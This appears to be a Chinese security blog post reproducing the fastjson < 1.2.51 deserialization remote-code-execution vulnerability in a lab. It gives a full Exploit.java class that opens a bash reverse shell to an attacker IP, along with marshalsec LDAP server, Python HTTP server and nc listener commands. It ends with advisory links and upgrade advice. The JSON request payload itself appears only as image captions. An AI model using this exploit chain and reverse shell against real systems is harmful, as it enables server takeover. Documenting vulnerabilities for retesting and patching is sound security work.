0x00:漏洞情况

前2周接到外部安全厂商阿里开源组件fastjson爆发高危漏洞预警,该漏洞可通过恶意构造Paylod发送JSON请求对系统进行远程代码执行,可导致直接获取服务器权限。前边很久之前对漏洞进行复测,确认通过该漏洞可直接获取服务器权限,漏洞风险高。

上边文章的介绍采用的是rmi的方式进行监听反弹,无奈没复测成功。今天将漏洞的ldap方式利用过程写成博客记录下形成笔记。

影响版本fastjson < 1.2.51.

安全版本fastjson >= 1.2.51

0x01:漏洞复现过程

演示环境信息:
攻击者机器:172.28.37.102 
JDK版本:1.8.0_25
受害者:10.18.19.46:8080
fastjson-1.2.44.jar

1、准备文件放置到web目录下:Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
 
 
public class Exploit{
    public Exploit() {}
 
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"bash", "-c", "/bin/bash -i >& /dev/tcp/172.28.37.102/7777 0>&1"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Exploit e = new Exploit();
        System.out.println("hello world");
    }
}

2、攻击机器运行python快速形成http服务器:

Fastjson =< 1.2.51 反序列化漏洞实战复测-Ti0s's Blog
python -m SimpleHTTPServer 8888

3、修改并编译上边的Exploit.java文件源代码将反弹shell的地址修改好,拷贝Exploit.class放在这个快速构建http服务器的web根目录

4、启动ldap服务,监听1389端口:

Fastjson =< 1.2.51 反序列化漏洞实战复测-Ti0s's Blog
 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.28.37.102:8888/#Exploit 

5、执行监听:

Fastjson =< 1.2.51 反序列化漏洞实战复测-Ti0s's Blog
nc -lvp 7777

6、 通过JSON请求发送数据包攻击服务器,获取服务器权限。修改抓到json的请求包,为以下内容。

Fastjson =< 1.2.51 反序列化漏洞实战复测-Ti0s's Blog

成功攻击服务器获取服务器权限。

Fastjson =< 1.2.51 反序列化漏洞实战复测-Ti0s's Blog

0x03: 外部漏洞预警

国家信息安全漏洞库:http://www.cnnvd.org.cn/web/bulletin/bulletinById.tag?mkid=150

阿里云:https://help.aliyun.com/noticelist/articleid/1060026793.html

官方漏洞公告提示升级fastjson组件:https://github.com/alibaba/fastjson/wiki/update_faq_20190722

0x04: 工具下载